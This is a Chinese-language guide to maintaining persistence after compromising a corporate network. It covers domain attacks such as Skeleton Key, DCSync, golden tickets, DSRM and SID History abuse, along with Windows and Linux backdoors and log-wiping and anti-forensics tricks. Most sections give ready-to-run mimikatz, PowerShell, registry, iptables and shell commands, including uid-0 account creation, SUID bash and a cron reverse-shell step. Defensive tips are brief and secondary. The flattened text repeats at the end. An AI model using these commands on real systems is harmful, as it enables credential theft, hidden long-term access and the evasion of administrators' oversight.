内网权限维持总结
字数 2116 2025-08-24 07:48:22

内网权限维持技术全面指南

域权限维持技术

Skeleton Key(万能密码)

前提条件:需要已获取域控权限

原理

  • 将Skeleton Key注入域控制器的lsass.exe进程
  • 在域内所有账号中添加一个自定义密码(默认"mimikatz")
  • 注入后关机即失效,但域控通常长期不重启

操作步骤

  1. 在域控上执行:
    mimikatz.exe "privilege::debug" "misc::skeleton" exit
    
  2. 使用万能密码建立IPC连接:
    net use \\win2012\ipc$ "mimikatz" /user:administrator
    

防御措施

  • 域管理员设置强密码
  • 启用双因子认证(如智能卡)
  • 使用AppLocker等应用程序白名单限制mimikatz运行

Hook PasswordChangeNotify攻击

原理

  • 利用密码修改时的同步机制获取明文密码
  • 修改PasswordChangeNotify执行流获取传入参数

操作步骤

  1. 生成HookPasswordChange.dll并放置于域共享路径
  2. 使用PowerShell脚本注入内存:
    powershell -exec bypass
    Import-Module .\Invoke-ReflectivePEInjection.ps1
    Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
    
  3. 密码修改后查看记录:
    dir \\win2012\SYSVOL\sentiment.com\Policies
    type \\win2012\SYSVOL\sentiment.com\Policies\windows.log
    

防御措施

  • 严格监控PowerShell活动

基于验证DLL加载-SSP

原理

  • 利用SSP(安全支持提供者)DLL在系统启动时加载到lsass.exe
  • 自定义恶意DLL获取lsass.exe中的明文密码

操作方式

  1. 内存注入(重启失效):

    mimikatz "privilege::debug" "misc::memssp" exit
    

    (密码记录在windows\system32\mimilsa.log)

  2. 注册表持久化:

    • 将mimilib.dll放入system32
    • 修改注册表:
      reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
      
    • 重启后密码记录在c:\windows\system32\kiwissp.log

DCSync攻击

原理

  • 模仿域控制器通过DRS服务同步数据
  • 可导出域用户哈希而不需登录域控

利用条件
需要以下权限之一:

  • 复制目录更改(DS-Replication-Get-Changes)
  • 全部复制目录更改(DS-Replication-Get-Changes-All)
  • 在过滤集中复制目录更改(DS-Replication-Get-Changes-In-Filtered-Set)

操作步骤

  1. 默认域控执行:
    mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:sentiment.com /all /csv" exit
    
  2. 为普通用户添加DCSync权限:
    Add-DomainObjectAcl -TargetIdentity "DC=sentiment,DC=com" -PrincipalIdentity admin -Rights DCSync -Verbose
    
  3. 移除权限:
    Remove-DomainObjectAcl -TargetIdentity "DC=sentiment,DC=com" -PrincipalIdentity admin -Rights DCSync -Verbose
    

黄金票据

前提

  • 获取域SID
  • 获取krbtgt的AES256哈希

操作步骤

  1. 生成黄金票据:
    mimikatz.exe "kerberos::golden /domain:sentiment.com /sid:S-1-5-21-3309884803-1761721320-3729358562 /aes256:7a2261d768176bd3152d162f4eec34b342b4f0791bf98803c6c7d7258d10045a /user:Administrator /ticket:goldadmin.kirbi"
    
  2. 导入票据:
    kerberos::purge
    kerberos::ptt goldadmin.kirbi
    

DSRM(目录服务恢复模式)利用

原理

  • DSRM账户密码在DC安装时设置,通常不变
  • 修改注册表允许网络登录

操作步骤

  1. 获取krbtgt和DSRM的NTLM Hash
  2. 同步DSRM与krbtgt密码:
    NTDSUTIL
    set DSRM password
    sync from domain account 域用户名字
    q
    q
    
  3. 修改DSRM登录方式(设置为2):
    New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
    
  4. 使用DSRM账号远程登录

防御措施

  • 检查注册表DsrmAdminLogonBehavior值
  • 定期修改DSRM账号
  • 监控4794日志

SID History权限维持

原理

  • 利用SID History属性保留迁移用户的原有权限
  • 将高权限SID添加到普通用户

操作步骤

  1. 查看用户SID History:
    Get-ADUser test -Properties sidhistory
    
  2. 添加Administrator的SID:
    privilege::debug
    sid::patch
    sid::add /sam:test /new:administrator
    
  3. 清除SID History:
    sid::clear /sam:test
    

防御措施

  • 检查SID为500的用户
  • 监控4765和4766日志

Windows权限维持技术

计划任务

创建计划任务

schtasks /create /sc minute /mo 1 /tn test /tr C:\WINDOWS\system32\calc.exe /ru system

其他命令

  • 查看:schtasks /query | findstr test
  • 删除:schtasks /delete /tn test /f
  • 运行:schtasks /run /tn test

自启动服务

创建服务

sc create test binpath= C:\Users\Administrator\Desktop\shell.exe start= auto obj= Localsystem
net start test

管理服务

  • 查询:sc query test
  • 删除:sc delete test

注册表自启动

添加自启动项

REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "C:\Users\Administrator\Desktop\shell.exe"

映像劫持

基本劫持

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lcx.exe" /v Debugger /t REG_SZ /d "C:\Users\Administrator\Desktop\shell.exe"

高级劫持(不影响原程序)

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\calc.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\calc.exe" /v MonitorProcess /t REG_SZ /d "C:\Users\Administrator\Desktop\shell.exe"

防御措施

  • 检查Image File Execution Options和SilentProcessExit项
  • 分析3000和3001日志

Logon Scripts后门

设置登录脚本

REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Administrator\Desktop\shell.exe"

Linux权限维持技术

踪迹隐藏

禁用历史记录

set +o history  # 禁用
set -o history  # 启用
history -d 数组 # 删除特定记录

修改文件时间

touch -r index.html shell.php
stat shell.php

锁定文件

chattr +i shell.php  # 锁定
chattr -i shell.php  # 解锁

隐藏文件

touch .shell.php
mkdir .test

隐藏SSH登录

ssh -T -i id_rsa mds@192.168.199.155 /bin/bash -i
echo "" > /var/log/wtmp  # 清除记录

端口复用

设置端口复用

iptables -t nat -N LETMEIN
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

使用端口复用

echo threathuntercoming | socat - tcp:192.168.199.155:80
ssh -p 80 root@192.168.199.155 -T /bin/bash -i
echo threathunterleaving | socat - tcp:192.168.199.155:80

权限维持技术

添加超级用户

  1. 方法一:
    echo "test1:saXxnGh/ae5PM:0:0:/root:/bin/bash" >> /etc/passwd
    
  2. 方法二:
    useradd -p `openssl passwd -1 -salt 'salt' sentiment` test2 -o -u 0 -g root -G root -s /bin/bash -d /home/test2
    

SUID权限维持

cp /bin/bash /tmp/.woot
chmod 4755 /tmp/.woot
/tmp/.woot -p

SSH私钥免密登录

  1. 生成密钥对:ssh-keygen -t rsa
  2. 上传公钥:
    cat id_rsa.pub >> /root/.ssh/authorized_keys
    chmod 600 /root/.ssh/authorized_keys
    chmod 700 /root/.ssh/
    
  3. 配置SSH:
    RSAAuthentication yes
    PubkeyAuthentication yes
    

定时任务

  1. 创建反弹shell脚本
  2. 添加计划任务:
    */1 * * * * root /etc/.evil.sh
    
  3. 重启cron:service cron restart

其他高级技术

  • rookit后门(如Reptile、Diamorphine)
  • DNS隧道
  • OpenSSH后门

防御建议

  1. 域环境防御

    • 定期检查域控异常进程和服务
    • 监控域控注册表关键项修改
    • 启用详细日志记录并定期审计
    • 限制域管权限分配
  2. Windows主机防御

    • 检查计划任务和自启动项
    • 监控注册表Run键和映像劫持项
    • 使用杀软监控异常进程创建
  3. Linux主机防御

    • 检查/etc/passwd异常用户
    • 监控SUID文件和异常定时任务
    • 检查.ssh目录异常授权
    • 使用文件完整性监控工具
  4. 通用防御

    • 实施最小权限原则
    • 启用多因素认证
    • 定期更新系统和应用补丁
    • 建立完善的日志收集和分析系统
内网权限维持技术全面指南 域权限维持技术 Skeleton Key(万能密码) 前提条件 :需要已获取域控权限 原理 : 将Skeleton Key注入域控制器的lsass.exe进程 在域内所有账号中添加一个自定义密码(默认"mimikatz") 注入后关机即失效,但域控通常长期不重启 操作步骤 : 在域控上执行: 使用万能密码建立IPC连接: 防御措施 : 域管理员设置强密码 启用双因子认证(如智能卡) 使用AppLocker等应用程序白名单限制mimikatz运行 Hook PasswordChangeNotify攻击 原理 : 利用密码修改时的同步机制获取明文密码 修改PasswordChangeNotify执行流获取传入参数 操作步骤 : 生成HookPasswordChange.dll并放置于域共享路径 使用PowerShell脚本注入内存: 密码修改后查看记录: 防御措施 : 严格监控PowerShell活动 基于验证DLL加载-SSP 原理 : 利用SSP(安全支持提供者)DLL在系统启动时加载到lsass.exe 自定义恶意DLL获取lsass.exe中的明文密码 操作方式 : 内存注入(重启失效): (密码记录在windows\system32\mimilsa.log) 注册表持久化: 将mimilib.dll放入system32 修改注册表: 重启后密码记录在c:\windows\system32\kiwissp.log DCSync攻击 原理 : 模仿域控制器通过DRS服务同步数据 可导出域用户哈希而不需登录域控 利用条件 : 需要以下权限之一: 复制目录更改(DS-Replication-Get-Changes) 全部复制目录更改(DS-Replication-Get-Changes-All) 在过滤集中复制目录更改(DS-Replication-Get-Changes-In-Filtered-Set) 操作步骤 : 默认域控执行: 为普通用户添加DCSync权限: 移除权限: 黄金票据 前提 : 获取域SID 获取krbtgt的AES256哈希 操作步骤 : 生成黄金票据: 导入票据: DSRM(目录服务恢复模式)利用 原理 : DSRM账户密码在DC安装时设置,通常不变 修改注册表允许网络登录 操作步骤 : 获取krbtgt和DSRM的NTLM Hash 同步DSRM与krbtgt密码: 修改DSRM登录方式(设置为2): 使用DSRM账号远程登录 防御措施 : 检查注册表DsrmAdminLogonBehavior值 定期修改DSRM账号 监控4794日志 SID History权限维持 原理 : 利用SID History属性保留迁移用户的原有权限 将高权限SID添加到普通用户 操作步骤 : 查看用户SID History: 添加Administrator的SID: 清除SID History: 防御措施 : 检查SID为500的用户 监控4765和4766日志 Windows权限维持技术 计划任务 创建计划任务 : 其他命令 : 查看: schtasks /query | findstr test 删除: schtasks /delete /tn test /f 运行: schtasks /run /tn test 自启动服务 创建服务 : 管理服务 : 查询: sc query test 删除: sc delete test 注册表自启动 添加自启动项 : 映像劫持 基本劫持 : 高级劫持(不影响原程序) : 防御措施 : 检查Image File Execution Options和SilentProcessExit项 分析3000和3001日志 Logon Scripts后门 设置登录脚本 : Linux权限维持技术 踪迹隐藏 禁用历史记录 : 修改文件时间 : 锁定文件 : 隐藏文件 : 隐藏SSH登录 : 端口复用 设置端口复用 : 使用端口复用 : 权限维持技术 添加超级用户 : 方法一: 方法二: SUID权限维持 : SSH私钥免密登录 : 生成密钥对: ssh-keygen -t rsa 上传公钥: 配置SSH: 定时任务 : 创建反弹shell脚本 添加计划任务: 重启cron: service cron restart 其他高级技术 rookit后门(如Reptile、Diamorphine) DNS隧道 OpenSSH后门 防御建议 域环境防御 : 定期检查域控异常进程和服务 监控域控注册表关键项修改 启用详细日志记录并定期审计 限制域管权限分配 Windows主机防御 : 检查计划任务和自启动项 监控注册表Run键和映像劫持项 使用杀软监控异常进程创建 Linux主机防御 : 检查/etc/passwd异常用户 监控SUID文件和异常定时任务 检查.ssh目录异常授权 使用文件完整性监控工具 通用防御 : 实施最小权限原则 启用多因素认证 定期更新系统和应用补丁 建立完善的日志收集和分析系统